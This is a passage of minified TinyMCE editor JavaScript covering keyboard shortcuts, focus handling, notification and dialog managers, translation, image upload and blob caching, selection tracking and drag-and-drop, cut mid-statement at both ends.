t=e.split("=");1<t.length?a[Xt.trim(t[0])]=Xt.trim(t[1]):a[Xt.trim(t[0])]=Xt.trim(t)}):a=i,a):"string"===r?Wp(S,e,t).getOr(n):"number"===r?Wp(O,e,t).getOr(n):"boolean"===r?Wp(R,e,t).getOr(n):"object"===r?Wp(T,e,t).getOr(n):"array"===r?Wp(k,e,t).getOr(n):"string[]"===r?Wp((o=S,function(e){return k(e)&&J(e,o)}),e,t).getOr(n):"function"===r?Wp(D,e,t).getOr(n):u},Xp=Xt.each,Yp=Xt.explode,Gp={f1:112,f2:113,f3:114,f4:115,f5:116,f6:117,f7:118,f8:119,f9:120,f10:121,f11:122,f12:123},Jp=Xt.makeMap("alt,ctrl,shift,meta,access");function Qp(i){var a={},r=[],u=function(e){var t,n,r={};for(n in Xp(Yp(e,"+"),function(e){e in Jp?r[e]=!0:/^[0-9]{2,}$/.test(e)?r.keyCode=parseInt(e,10):(r.charCode=e.charCodeAt(0),r.keyCode=Gp[e]||e.toUpperCase().charCodeAt(0))}),t=[r.keyCode],Jp)r[n]?t.push(n):r[n]=!1;return r.id=t.join(","),r.access&&(r.alt=!0,fe.mac?r.ctrl=!0:r.shift=!0),r.meta&&(fe.mac?r.meta=!0:(r.ctrl=!0,r.meta=!1)),r},s=function(e,t,n,r){var o;return(o=Xt.map(Yp(e,">"),u))[o.length-1]=Xt.extend(o[o.length-1],{func:n,scope:r||i}),Xt.extend(o[0],{desc:i.translate(t),subpatterns:o.slice(1)})},o=function(e,t){return!!t&&t.ctrl===e.ctrlKey&&t.meta===e.metaKey&&t.alt===e.altKey&&t.shift===e.shiftKey&&!!(e.keyCode===t.keyCode||e.charCode&&e.charCode===t.charCode)&&(e.preventDefault(),!0)},c=function(e){return e.func?e.func.call(e.scope):null};i.on("keyup keypress keydown",function(t){var e,n;((n=t).altKey||n.ctrlKey||n.metaKey||"keydown"===(e=t).type&&112<=e.keyCode&&e.keyCode<=123)&&!t.isDefaultPrevented()&&(Xp(a,function(e){if(o(t,e))return r=e.subpatterns.slice(0),"keydown"===t.type&&c(e),!0}),o(t,r[0])&&(1===r.length&&"keydown"===t.type&&c(r[0]),r.shift()))}),this.add=function(e,n,r,o){var t;return"string"==typeof(t=r)?r=function(){i.execCommand(t,!1,null)}:Xt.isArray(t)&&(r=function(){i.execCommand(t[0],t[1],t[2])}),Xp(Yp(Xt.trim(e.toLowerCase())),function(e){var t=s(e,n,r,o);a[t.id]=t}),!0},this.remove=function(e){var t=s(e);return!!a[t.id]&&(delete a[t.id],!0)}}var Zp=function(e){var t=Ur(e).dom();return e.dom()===t.activeElement},eh=function(t){return(e=Ur(t),n=e!==undefined?e.dom():V.document,_.from(n.activeElement).map(ar.fromDom)).filter(function(e){return t.dom().contains(e.dom())});var e,n},th=function(t,e){return(n=e,n.collapsed?_.from(eu(n.startContainer,n.startOffset)).map(ar.fromDom):_.none()).bind(function(e){return ko(e)?_.some(e):!1===zr(t,e)?_.some(t):_.none()});var n},nh=function(t,e){th(ar.fromDom(t.getBody()),e).bind(function(e){return sc.firstPositionIn(e.dom())}).fold(function(){t.selection.normalize()},function(e){return t.selection.setRng(e.toRange())})},rh=function(e){if(e.setActive)try{e.setActive()}catch(t){e.focus()}else e.focus()},oh=function(e){var t,n=e.getBody();return n&&(t=ar.fromDom(n),Zp(t)||eh(t).isSome())},ih=function(e){return e.inline?oh(e):(t=e).iframeElement&&Zp(ar.fromDom(t.iframeElement));var t},ah=function(e){return e.editorManager.setActive(e)},uh=function(e,t){e.removed||(t?ah(e):function(t){var e=t.selection,n=t.settings.content_editable,r=t.getBody(),o=e.getRng();t.quirks.refreshContentEditable();var i,a,u=(i=t,a=e.getNode(),i.dom.getParent(a,function(e){return"true"===i.dom.getContentEditable(e)}));if(t.$.contains(r,u))return rh(u),nh(t,o),ah(t);t.bookmark!==undefined&&!1===ih(t)&&up(t).each(function(e){t.selection.setRng(e),o=e}),n||(fe.opera||rh(r),t.getWin().focus()),(fe.gecko||n)&&(rh(r),nh(t,o)),ah(t)}(e))},sh=ih,ch=function(e,t){return t.dom()[e]},lh=function(e,t){return parseInt(kr(t,e),10)},fh=d(ch,"clientWidth"),dh=d(ch,"clientHeight"),mh=d(lh,"margin-top"),gh=d(lh,"margin-left"),ph=function(e,t,n){var r,o,i,a,u,s,c,l,f,d,m,g=ar.fromDom(e.getBody()),p=e.inline?g:(r=g,ar.fromDom(r.dom().ownerDocument.documentElement)),h=(o=e.inline,a=t,u=n,s=(i=p).dom().getBoundingClientRect(),{x:a-(o?s.left+i.dom().clientLeft+gh(i):0),y:u-(o?s.top+i.dom().clientTop+mh(i):0)});return l=h.x,f=h.y,d=fh(c=p),m=dh(c),0<=l&&0<=f&&l<=d&&f<=m},hh=function(e){var t,n=e.inline?e.getBody():e.getContentAreaContainer();return(t=n,_.from(t).map(ar.fromDom)).map(function(e){return zr(Ur(e),e)}).getOr(!1)};function vh(n){var t,o=[],i=function(){var e,t=n.theme;return t&&t.getNotificationManagerImpl?t.getNotificationManagerImpl():{open:e=function(){throw new Error("Theme did not provide a NotificationManager implementation.")},close:e,reposition:e,getArgs:e}},a=function(){0<o.length&&i().reposition(o)},u=function(t){Y(o,function(e){return e===t}).each(function(e){o.splice(e,1)})},r=function(r){if(!n.removed&&hh(n))return X(o,function(e){return t=i().getArgs(e),n=r,!(t.type!==n.type||t.text!==n.text||t.progressBar||t.timeout||n.progressBar||n.timeout);var t,n}).getOrThunk(function(){n.editorManager.setActive(n);var e,t=i().open(r,function(){u(t),a()});return e=t,o.push(e),a(),t})};return(t=n).on("SkinLoaded",function(){var e=t.settings.service_message;e&&r({text:e,type:"warning",timeout:0,icon:""})}),t.on("ResizeEditor ResizeWindow",function(){he.requestAnimationFrame(a)}),t.on("remove",function(){z(o.slice(),function(e){i().close(e)})}),{open:r,close:function(){_.from(o[0]).each(function(e){i().close(e),u(e),a()})},getNotifications:function(){return o}}}function yh(r){var o=[],i=function(){var e,t=r.theme;return t&&t.getWindowManagerImpl?t.getWindowManagerImpl():{open:e=function(){throw new Error("Theme did not provide a WindowManager implementation.")},alert:e,confirm:e,close:e,getParams:e,setParams:e}},a=function(e,t){return function(){return t?t.apply(e,arguments):undefined}},u=function(e){var t;o.push(e),t=e,r.fire("OpenWindow",{win:t})},s=function(n){Y(o,function(e){return e===n}).each(function(e){var t;o.splice(e,1),t=n,r.fire("CloseWindow",{win:t}),0===o.length&&r.focus()})},e=function(){return _.from(o[o.length-1])};return r.on("remove",function(){z(o.slice(0),function(e){i().close(e)})}),{windows:o,open:function(e,t){r.editorManager.setActive(r),ip(r);var n=i().open(e,t,s);return u(n),n},alert:function(e,t,n){var r=i().alert(e,a(n||this,t),s);u(r)},confirm:function(e,t,n){var r=i().confirm(e,a(n||this,t),s);u(r)},close:function(){e().each(function(e){i().close(e),s(e)})},getParams:function(){return e().map(i().getParams).getOr(null)},setParams:function(t){e().each(function(e){i().setParams(e,t)})},getWindows:function(){return o}}}var bh={},Ch="en",xh={setCode:function(e){e&&(Ch=e,this.rtl=!!this.data[e]&&"rtl"===this.data[e]._dir)},getCode:function(){return Ch},rtl:!1,add:function(e,t){var n=bh[e];for(var r in n||(bh[e]=n={}),t)n[r]=t[r];this.setCode(e)},translate:function(e){var t=bh[Ch]||{},n=function(e){return Xt.is(e,"function")?Object.prototype.toString.call(e):r(e)?"":""+e},r=function(e){return""===e||null===e||Xt.is(e,"undefined")},o=function(e){return e=n(e),Xt.hasOwn(t,e)?n(t[e]):e};if(r(e))return"";if(Xt.is(e,"object")&&Xt.hasOwn(e,"raw"))return n(e.raw);if(Xt.is(e,"array")){var i=e.slice(1);e=o(e[0]).replace(/\{([0-9]+)\}/g,function(e,t){return Xt.hasOwn(i,t)?n(i[t]):e})}return o(e).replace(/{context:\w+}$/,"")},data:bh},wh=Bi.PluginManager,Nh=function(e,t){var n=function(e,t){for(var n in wh.urls)if(wh.urls[n]+"/plugin"+t+".js"===e)return n;return null}(t,e.suffix);return n?xh.translate(["Failed to load plugin: {0} from url {1}",n,t]):xh.translate(["Failed to load plugin url: {0}",t])},Eh=function(e,t){e.notificationManager.open({type:"error",text:t})},Sh=function(e,t){e._skinLoaded?Eh(e,t):e.on("SkinLoaded",function(){Eh(e,t)})},Th=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];var r=V.window.console;r&&(r.error?r.error.apply(r,arguments):r.log.apply(r,arguments))},kh={pluginLoadError:function(e,t){Sh(e,Nh(e,t))},pluginInitError:function(e,t,n){var r=xh.translate(["Failed to initialize plugin: {0}",t]);Th(r,n),Sh(e,r)},uploadError:function(e,t){Sh(e,xh.translate(["Failed to upload image: {0}",t]))},displayError:Sh,initError:Th},_h=Bi.PluginManager,Ah=Bi.ThemeManager;function Rh(){return new(oe.getOrDie("XMLHttpRequest"))}function Dh(u,s){var r={},n=function(e,r,o,t){var i,n;(i=Rh()).open("POST",s.url),i.withCredentials=s.credentials,i.upload.onprogress=function(e){t(e.loaded/e.total*100)},i.onerror=function(){o("Image upload failed due to a XHR Transport error. Code: "+i.status)},i.onload=function(){var e,t,n;i.status<200||300<=i.status?o("HTTP Error: "+i.status):(e=JSON.parse(i.responseText))&&"string"==typeof e.location?r((t=s.basePath,n=e.location,t?t.replace(/\/$/,"")+"/"+n.replace(/^\//,""):n)):o("Invalid JSON: "+i.responseText)},(n=new V.FormData).append("file",e.blob(),e.filename()),i.send(n)},c=function(e,t){return{url:t,blobInfo:e,status:!0}},l=function(e,t){return{url:"",blobInfo:e,status:!1,error:t}},f=function(e,t){Xt.each(r[e],function(e){e(t)}),delete r[e]},o=function(e,n){return e=Xt.grep(e,function(e){return!u.isUploaded(e.blobUri())}),de.all(Xt.map(e,function(e){return u.isPending(e.blobUri())?(t=e.blobUri(),new de(function(e){r[t]=r[t]||[],r[t].push(e)})):(o=e,i=s.handler,a=n,u.markPending(o.blobUri()),new de(function(t){var n;try{var r=function(){n&&n.close()};i(o,function(e){r(),u.markUploaded(o.blobUri(),e),f(o.blobUri(),c(o,e)),t(c(o,e))},function(e){r(),u.removeFailed(o.blobUri()),f(o.blobUri(),l(o,e)),t(l(o,e))},function(e){e<0||100<e||(n||(n=a()),n.progressBar.value(e))})}catch(e){t(l(o,e.message))}}));var o,i,a,t}))};return!1===D(s.handler)&&(s.handler=n),{upload:function(e,t){return s.url||s.handler!==n?o(e,t):new de(function(e){e([])})}}}var Oh=function(e){return oe.getOrDie("atob")(e)},Bh=function(e){var t,n,r=decodeURIComponent(e).split(",");return(n=/data:([^;]+)/.exec(r[0]))&&(t=n[1]),{type:t,data:r[1]}},Ph=function(a){return new de(function(e){var t,n,r,o,i=Bh(a);try{t=Oh(i.data)}catch(iE){return void e(new V.Blob([]))}for(o=t.length,n=new(oe.getOrDie("Uint8Array"))(o),r=0;r<n.length;r++)n[r]=t.charCodeAt(r);e(new V.Blob([n],{type:i.type}))})},Ih=function(e){return 0===e.indexOf("blob:")?(i=e,new de(function(e,t){var n=function(){t("Cannot convert "+i+" to Blob. Resource might not exist or is inaccessible.")};try{var r=Rh();r.open("GET",i,!0),r.responseType="blob",r.onload=function(){200===this.status?e(this.response):n()},r.onerror=n,r.send()}catch(o){n()}})):0===e.indexOf("data:")?Ph(e):null;var i},Lh=function(n){return new de(function(e){var t=new(oe.getOrDie("FileReader"));t.onloadend=function(){e(t.result)},t.readAsDataURL(n)})},Fh=Bh,Mh=0,zh=function(e){return(e||"blobid")+Mh++},Uh=function(n,r,o,t){var i,a;0!==r.src.indexOf("blob:")?(i=Fh(r.src).data,(a=n.findFirst(function(e){return e.base64()===i}))?o({image:r,blobInfo:a}):Ih(r.src).then(function(e){a=n.create(zh(),e,i),n.add(a),o({image:r,blobInfo:a})},function(e){t(e)})):(a=n.getByUri(r.src))?o({image:r,blobInfo:a}):Ih(r.src).then(function(t){Lh(t).then(function(e){i=Fh(e).data,a=n.create(zh(),t,i),n.add(a),o({image:r,blobInfo:a})})},function(e){t(e)})},jh=function(e){return e?te(e.getElementsByTagName("img")):[]},Vh=0,Hh={uuid:function(e){return e+Vh+++(t=function(){return Math.round(4294967295*Math.random()).toString(36)},"s"+(new Date).getTime().toString(36)+t()+t()+t());var t}};function qh(u){var n,o,t,e,i,r,a,s,c,l=(n=[],o=function(e){var t,n,r;if(!e.blob||!e.base64)throw new Error("blob and base64 representations of the image are required for BlobInfo to be created");return t=e.id||Hh.uuid("blobid"),n=e.name||t,{id:q(t),name:q(n),filename:q(n+"."+(r=e.blob.type,{"image/jpeg":"jpg","image/jpg":"jpg","image/gif":"gif","image/png":"png"}[r.toLowerCase()]||"dat")),blob:q(e.blob),base64:q(e.base64),blobUri:q(e.blobUri||ae.createObjectURL(e.blob)),uri:q(e.uri)}},{create:function(e,t,n,r){if(S(e))return o({id:e,name:r,blob:t,base64:n});if(T(e))return o(e);throw new Error("Unknown input type")},add:function(e){t(e.id())||n.push(e)},get:t=function(t){return e(function(e){return e.id()===t})},getByUri:function(t){return e(function(e){return e.blobUri()===t})},findFirst:e=function(e){return U(n,e)[0]},removeByUri:function(t){n=U(n,function(e){return e.blobUri()!==t||(ae.revokeObjectURL(e.blobUri()),!1)})},destroy:function(){z(n,function(e){ae.revokeObjectURL(e.blobUri())}),n=[]}}),f=(a={},s=function(e,t){return{status:e,resultUri:t}},{hasBlobUri:c=function(e){return e in a},getResultUri:function(e){var t=a[e];return t?t.resultUri:null},isPending:function(e){return!!c(e)&&1===a[e].status},isUploaded:function(e){return!!c(e)&&2===a[e].status},markPending:function(e){a[e]=s(1,null)},markUploaded:function(e,t){a[e]=s(2,t)},removeFailed:function(e){delete a[e]},destroy:function(){a={}}}),d=[],m=function(t){return function(e){return u.selection?t(e):[]}},g=function(e,t,n){for(var r=0;-1!==(r=e.indexOf(t,r))&&(e=e.substring(0,r)+n+e.substr(r+t.length),r+=n.length-t.length+1),-1!==r;);return e},p=function(e,t,n){return e=g(e,'src="'+t+'"','src="'+n+'"'),e=g(e,'data-mce-src="'+t+'"','data-mce-src="'+n+'"')},h=function(t,n){z(u.undoManager.data,function(e){"fragmented"===e.type?e.fragments=W(e.fragments,function(e){return p(e,t,n)}):e.content=p(e.content,t,n)})},v=function(){return u.notificationManager.open({text:u.translate("Image uploading..."),type:"info",timeout:-1,progressBar:!0})},y=function(e,t){l.removeByUri(e.src),h(e.src,t),u.$(e).attr({src:Bl(u)?t+"?"+(new Date).getTime():t,"data-mce-src":u.convertURL(t,"src")})},b=function(n){return i||(i=Dh(f,{url:Il(u),basePath:Ll(u),credentials:Fl(u),handler:Ml(u)})),w().then(m(function(r){var e;return e=W(r,function(e){return e.blobInfo}),i.upload(e,v).then(m(function(e){var t=W(e,function(e,t){var n=r[t].image;return e.status&&Pl(u)?y(n,e.url):e.error&&kh.uploadError(u,e.error),{element:n,status:e.status}});return n&&n(t),t}))}))},C=function(e){if(Ol(u))return b(e)},x=function(t){return!1!==J(d,function(e){return e(t)})&&(0!==t.getAttribute("src").indexOf("data:")||Dl(u)(t))},w=function(){var o,i,a;return r||(o=f,i=l,a={},r={findAll:function(e,n){var t;n||(n=q(!0)),t=U(jh(e),function(e){var t=e.src;return!!fe.fileApi&&!e.hasAttribute("data-mce-bogus")&&!e.hasAttribute("data-mce-placeholder")&&!(!t||t===fe.transparentSrc)&&(0===t.indexOf("blob:")?!o.isUploaded(t)&&n(e):0===t.indexOf("data:")&&n(e))});var r=W(t,function(n){if(a[n.src])return new de(function(t){a[n.src].then(function(e){if("string"==typeof e)return e;t({image:n,blobInfo:e.blobInfo})})});var e=new de(function(e,t){Uh(i,n,e,t)}).then(function(e){return delete a[e.image.src],e})["catch"](function(e){return delete a[n.src],e});return a[n.src]=e});return de.all(r)}}),r.findAll(u.getBody(),x).then(m(function(e){return e=U(e,function(e){return"string"!=typeof e||(kh.displayError(u,e),!1)}),z(e,function(e){h(e.image.src,e.blobInfo.blobUri()),e.image.src=e.blobInfo.blobUri(),e.image.removeAttribute("data-mce-src")}),e}))},N=function(e){return e.replace(/src="(blob:[^"]+)"/g,function(e,n){var t=f.getResultUri(n);if(t)return'src="'+t+'"';var r=l.getByUri(n);return r||(r=j(u.editorManager.get(),function(e,t){return e||t.editorUpload&&t.editorUpload.blobCache.getByUri(n)},null)),r?'src="data:'+r.blob().type+";base64,"+r.base64()+'"':e})};return u.on("setContent",function(){Ol(u)?C():w()}),u.on("RawSaveContent",function(e){e.content=N(e.content)}),u.on("getContent",function(e){e.source_view||"raw"===e.format||(e.content=N(e.content))}),u.on("PostRender",function(){u.parser.addNodeFilter("img",function(e){z(e,function(e){var t=e.attr("src");if(!l.getByUri(t)){var n=f.getResultUri(t);n&&e.attr("src",n)}})})}),{blobCache:l,addFilter:function(e){d.push(e)},uploadImages:b,uploadImagesAuto:C,scanForImages:w,destroy:function(){l.destroy(),f.destroy(),r=i=null}}}var $h=function(e,t){return e.hasOwnProperty(t.nodeName)},Wh=function(e,t){if(jo.isText(t)){if(0===t.nodeValue.length)return!0;if(/^\s+$/.test(t.nodeValue)&&(!t.nextSibling||$h(e,t.nextSibling)))return!0}return!1},Kh=function(e){var t,n,r,o,i,a,u,s,c,l,f,d=e.settings,m=e.dom,g=e.selection,p=e.schema,h=p.getBlockElements(),v=g.getStart(),y=e.getBody();if(f=d.forced_root_block,v&&jo.isElement(v)&&f&&(l=y.nodeName.toLowerCase(),p.isValidChild(l,f.toLowerCase())&&(b=h,C=y,x=v,!M(af(ar.fromDom(x),ar.fromDom(C)),function(e){return $h(b,e.dom())})))){var b,C,x,w,N;for(n=(t=g.getRng()).startContainer,r=t.startOffset,o=t.endContainer,i=t.endOffset,c=sh(e),v=y.firstChild;v;)if(w=h,N=v,jo.isText(N)||jo.isElement(N)&&!$h(w,N)&&!yc(N)){if(Wh(h,v)){v=(u=v).nextSibling,m.remove(u);continue}a||(a=m.create(f,e.settings.forced_root_block_attrs),v.parentNode.insertBefore(a,v),s=!0),v=(u=v).nextSibling,a.appendChild(u)}else a=null,v=v.nextSibling;s&&c&&(t.setStart(n,r),t.setEnd(o,i),g.setRng(t),e.nodeChanged())}},Xh=function(e){e.settings.forced_root_block&&e.on("NodeChange",d(Kh,e))},Yh=function(t){return Yr(t).fold(q([t]),function(e){return[t].concat(Yh(e))})},Gh=function(t){return Gr(t).fold(q([t]),function(e){return"br"===lr(e)?Hr(e).map(function(e){return[t].concat(Gh(e))}).getOr([]):[t].concat(Gh(e))})},Jh=function(o,e){return ru((i=e,a=i.startContainer,u=i.startOffset,jo.isText(a)?0===u?_.some(ar.fromDom(a)):_.none():_.from(a.childNodes[u]).map(ar.fromDom)),(t=e,n=t.endContainer,r=t.endOffset,jo.isText(n)?r===n.data.length?_.some(ar.fromDom(n)):_.none():_.from(n.childNodes[r-1]).map(ar.fromDom)),function(e,t){var n=X(Yh(o),d(Mr,e)),r=X(Gh(o),d(Mr,t));return n.isSome()&&r.isSome()}).getOr(!1);var t,n,r,i,a,u},Qh=function(e,t,n,r){var o=n,i=new go(n,o),a=e.schema.getNonEmptyElements();do{if(3===n.nodeType&&0!==Xt.trim(n.nodeValue).length)return void(r?t.setStart(n,0):t.setEnd(n,n.nodeValue.length));if(a[n.nodeName]&&!/^(TD|TH)$/.test(n.nodeName))return void(r?t.setStartBefore(n):"BR"===n.nodeName?t.setEndBefore(n):t.setEndAfter(n));if(fe.ie&&fe.ie<11&&e.isBlock(n)&&e.isEmpty(n))return void(r?t.setStart(n,0):t.setEnd(n,0))}while(n=r?i.next():i.prev());"BODY"===o.nodeName&&(r?t.setStart(o,0):t.setEnd(o,o.childNodes.length))},Zh=function(e){var t=e.selection.getSel();return t&&0<t.rangeCount};function ev(i){var r,o=[];"onselectionchange"in i.getDoc()||i.on("NodeChange Click MouseUp KeyUp Focus",function(e){var t,n;n={startContainer:(t=i.selection.getRng()).startContainer,startOffset:t.startOffset,endContainer:t.endContainer,endOffset:t.endOffset},"nodechange"!==e.type&&Eg(n,r)||i.fire("SelectionChange"),r=n}),i.on("contextmenu",function(){i.fire("SelectionChange")}),i.on("SelectionChange",function(){var e=i.selection.getStart(!0);!e||!fe.range&&i.selection.isCollapsed()||Zh(i)&&!function(e){var t,n;if((n=i.$(e).parentsUntil(i.getBody()).add(e)).length===o.length){for(t=n.length;0<=t&&n[t]===o[t];t--);if(-1===t)return o=n,!0}return o=n,!1}(e)&&i.dom.isChildOf(e,i.getBody())&&i.nodeChanged({selectionChange:!0})}),i.on("MouseUp",function(e){!e.isDefaultPrevented()&&Zh(i)&&("IMG"===i.selection.getNode().nodeName?he.setEditorTimeout(i,function(){i.nodeChanged()}):i.nodeChanged())}),this.nodeChanged=function(e){var t,n,r,o=i.selection;i.initialized&&o&&!i.settings.disable_nodechange&&!i.readonly&&(r=i.getBody(),(t=o.getStart(!0)||r).ownerDocument===i.getDoc()&&i.dom.isChildOf(t,r)||(t=r),n=[],i.dom.getParent(t,function(e){if(e===r)return!0;n.push(e)}),(e=e||{}).element=t,e.parents=n,i.fire("NodeChange",e))}}var tv,nv,rv={BACKSPACE:8,DELETE:46,DOWN:40,ENTER:13,LEFT:37,RIGHT:39,SPACEBAR:32,TAB:9,UP:38,END:35,HOME:36,modifierPressed:function(e){return e.shiftKey||e.ctrlKey||e.altKey||this.metaKeyPressed(e)},metaKeyPressed:function(e){return fe.mac?e.metaKey:e.ctrlKey&&!e.altKey}},ov=function(e){return j(e,function(e,t){return e.concat(function(t){var e=function(e){return W(e,function(e){return(e=Ka(e)).node=t,e})};if(jo.isElement(t))return e(t.getClientRects());if(jo.isText(t)){var n=t.ownerDocument.createRange();return n.setStart(t,0),n.setEnd(t,t.data.length),e(n.getClientRects())}}(t))},[])};(nv=tv||(tv={}))[nv.Up=-1]="Up",nv[nv.Down=1]="Down";var iv=function(o,i,a,e,u,t){var n,s,c=0,l=[],r=function(e){var t,n,r;for(r=ov([e]),-1===o&&(r=r.reverse()),t=0;t<r.length;t++)if(n=r[t],!a(n,s)){if(0<l.length&&i(n,Ht.last(l))&&c++,n.line=c,u(n))return!0;l.push(n)}};return(s=Ht.last(t.getClientRects()))&&(r(n=t.getNode()),function(e,t,n,r){for(;r=Es(r,e,$a,t);)if(n(r))return}(o,e,r,n)),l},av=d(iv,tv.Up,Ga,Ja),uv=d(iv,tv.Down,Ja,Ga),sv=function(n){return function(e){return t=n,e.line>t;var t}},cv=function(n){return function(e){return t=n,e.line===t;var t}},lv=jo.isContentEditableFalse,fv=Es,dv=function(e,t){return Math.abs(e.left-t)},mv=function(e,t){return Math.abs(e.right-t)},gv=function(e,t){return e>=t.left&&e<=t.right},pv=function(e,o){return Ht.reduce(e,function(e,t){var n,r;return n=Math.min(dv(e,o),mv(e,o)),r=Math.min(dv(t,o),mv(t,o)),gv(o,t)?t:gv(o,e)?e:r===n&&lv(t.node)?t:r<n?t:e})},hv=function(e,t,n,r){for(;r=fv(r,e,$a,t);)if(n(r))return},vv=function(e,t,n){var r,o,i,a,u,s,c,l=ov(U(te(e.getElementsByTagName("*")),gs)),f=U(l,function(e){return n>=e.top&&n<=e.bottom});return(r=pv(f,t))&&(r=pv((a=e,c=function(t,e){var n;return n=U(ov([e]),function(e){return!t(e,u)}),s=s.concat(n),0===n.length},(s=[]).push(u=r),hv(tv.Up,a,d(c,Ga),u.node),hv(tv.Down,a,d(c,Ja),u.node),s),t))&&gs(r.node)?(i=t,{node:(o=r).node,before:dv(o,i)<mv(o,i)}):null},yv=function(t,n,e){if(e.collapsed)return!1;if(fe.ie&&fe.ie<=11&&e.startOffset===e.endOffset-1&&e.startContainer===e.endContainer){var r=e.startContainer.childNodes[e.startOffset];if(jo.isElement(r))return M(r.getClientRects(),function(e){return Qa(e,t,n)})}return M(e.getClientRects(),function(e){return Qa(e,t,n)})},bv=function(e){var t,n,r,o;return o=e.getBoundingClientRect(),n=(t=e.ownerDocument).documentElement,r=t.defaultView,{top:o.top+r.pageYOffset-n.clientTop,left:o.left+r.pageXOffset-n.clientLeft}},Cv=function(e,t){return n=(u=e).inline?bv(u.getBody()):{left:0,top:0},a=(i=e).getBody(),r=i.inline?{left:a.scrollLeft,top:a.scrollTop}:{left:0,top:0},{pageX:(o=function(e,t){if(t.target.ownerDocument!==e.getDoc()){var n=bv(e.getContentAreaContainer()),r=(i=(o=e).getBody(),a=o.getDoc().documentElement,u={left:i.scrollLeft,top:i.scrollTop},s={left:i.scrollLeft||a.scrollLeft,top:i.scrollTop||a.scrollTop},o.inline?u:s);return{left:t.pageX-n.left+r.left,top:t.pageY-n.top+r.top}}var o,i,a,u,s;return{left:t.pageX,top:t.pageY}}(e,t)).left-n.left+r.left,pageY:o.top-n.top+r.top};var n,r,o,i,a,u},xv=jo.isContentEditableFalse,wv=jo.isContentEditableTrue,Nv=function(e){e&&e.parentNode&&e.parentNode.removeChild(e)},Ev=function(u,s){return function(e){if(0===e.button){var t=X(s.dom.getParents(e.target),au(xv,wv)).getOr(null);if(i=s.getBody(),xv(a=t)&&a!==i){var n=s.dom.getPos(t),r=s.getBody(),o=s.getDoc().documentElement;u.element=t,u.screenX=e.screenX,u.screenY=e.screenY,u.maxX=(s.inline?r.scrollWidth:o.offsetWidth)-2,u.maxY=(s.inline?r.scrollHeight:o.offsetHeight)-2,u.relX=e.pageX-n.x,u.relY=e.pageY-n.y,u.width=t.offsetWidth,u.height=t.offsetHeight,u.ghost=function(e,t,n,r){var o=t.cloneNode(!0);e.dom.setStyles(o,{width:n,height:r}),e.dom.setAttrib(o,"data-mce-selected",null);var i=e.dom.create("div",{"class":"mce-drag-container","data-mce-bogus":"all",unselectable:"on",contenteditable:"false"});return e.dom.setStyles(i,{position:"absolute",opacity:.5,overflow:"hidden",border:0,padding:0,margin:0,width:n,height:r}),e.dom.setStyles(o,{margin:0,boxSizing:"border-box"}),i.appendChild(o),i}(s,t,u.width,u.height)}}var i,a}},Sv=function(l,f){return function(e){if(l.dragging&&(s=(i=f).selection,c=s.getSel().getRangeAt(0).startContainer,a=3===c.nodeType?c.parentNode:c,u=l.element,a!==u&&!i.dom.isChildOf(a,u)&&!xv(a))){var t=(r=l.element,(o=r.cloneNode(!0)).removeAttribute("data-mce-selected"),o),n=f.fire("drop",{targetClone:t,clientX:e.clientX,clientY:e.clientY});n.isDefaultPrevented()||(t=n.targetClone,f.undoManager.transact(function(){Nv(l.element),f.insertContent(f.dom.getOuterHTML(t)),f._selectionOverrides.hideFakeCaret()}))}var r,o,i,a,u,s,c;Tv(l)}},Tv=function(e){e.dragging=!1,e.element=null,Nv(e.ghost)},kv=function(e){var t,n,r,o,i,a,p,h,v,u,s,c={};t=Si.DOM,a=V.document,n=Ev(c,e),p=c,h=e,v=he.throttle(function(e,t){h._selectionOverrides.hideFakeCaret(),h.selection.placeCaretAt(e,t)},0),r=function(e){var t,n,r,o,i,a,u,s,c,l,f,d,m=Math.max(Math.abs(e.screenX-p.screenX),Math.abs(e.screenY-p.screenY));if(p.element&&!p.dragging&&10<m){if(h.fire("dragstart",{target:p.element}).isDefaultPrevented())return;p.dragging=!0,h.focus()}if(p.dragging){var g=(f=p,{pageX:(d=Cv(h,e)).pageX-f.relX,pageY:d.pageY+5});c=p.ghost,l=h.getBody(),c.parentNode!==l&&l.appendChild(c),t=p.ghost,n=g,r=p.width,o=p.height,i=p.maxX,a=p.maxY,s=u=0,t.style.left=n.pageX+"px",t.style.top=n.pageY+"px",n.pageX+r>i&&(u=n.pageX+r-i),n.pageY+o>a&&(s=n.pageY+o-a),t.style.width=r-u+"px",t.style.height=o-s+"px",v(e.clientX,e.clientY)}},o=Sv(c,e),u=c,i=function(){u.dragging&&s.fire("dragend"),Tv(u)},(s=e).on("mousedown",n),e.on("mousemove",r),e.on("mouseup",o),t.bind(a,"mousemove",r),t.bind(a,"mouseup",i),e.on("remove",function(){t.unbind(a,"mousemove",r),t.unbind(a,"mouseup",i)})},_v=function(e){var n;kv(e),(n=e).on("drop",function(e){var t="undefined"!=typeof e.clientX?n.getDoc().elementFromPoint(e.clientX,e.clientY):null;(xv(t)||xv(n.dom.getContentEditableParent(t)))&&e.preventDefault()})},Av=function(t){var e=Vi(function(){if(!t.removed&&t.selection.getRng().collapsed){var e=fg(t,t.selection.getRng(),!1);t.selection.setRng(e)}},0);t.on("focus",function(){e.throttle()}),t.on("blur",function(){e.cancel()})},Rv=jo.isContentEditableTrue,Dv=jo.isContentEditableFalse,Ov=function(e,t){for(var n=e.getBody();t&&t!==n;){if(Rv(t)||Dv(t))return t;t=t.parentNode}return null},Bv=function(g){var p,e,t,a=g.getBody(),o=ds(g.getBody(),function(e){return g.dom.isBlock(e)},function(){return sh(g)}),h="sel-"+g.dom.uniqueId(),u=function(e){e&&g.selection.setRng(e)},s=function(){return g.selection.getRng()},v=function(e,t,n,r){return void 0===r&&(r=!0),g.fire("ShowCaret",{target:t,direction:e,before:n}).isDefaultPrevented()?null:(r&&g.selection.scrollIntoView(t,-1===e),o.show(n,t))},y=function(e,t){return t=Os(e,a,t),-1===e?_u.fromRangeStart(t):_u.fromRangeEnd(t)},n=function(e){return ka(e)||Oa(e)||Ba(e)},b=function(e){return n(e.startContainer)||n(e.endContainer)},c=function(e){var t=g.schema.getShortEndedElements(),n=g.dom.createRng(),r=e.startContainer,o=e.startOffset,i=e.endContainer,a=e.endOffset;return br(t,r.nodeName.toLowerCase())?0===o?n.setStartBefore(r):n.setStartAfter(r):n.setStart(r,o),br(t,i.nodeName.toLowerCase())?0===a?n.setEndBefore(i):n.setEndAfter(i):n.setEnd(i,a),n},l=function(e,t){var n,r,o,i,a,u,s,c,l,f,d=g.$,m=g.dom;if(!e)return null;if(e.collapsed){if(!b(e))if(!1===t){if(c=y(-1,e),gs(c.getNode(!0)))return 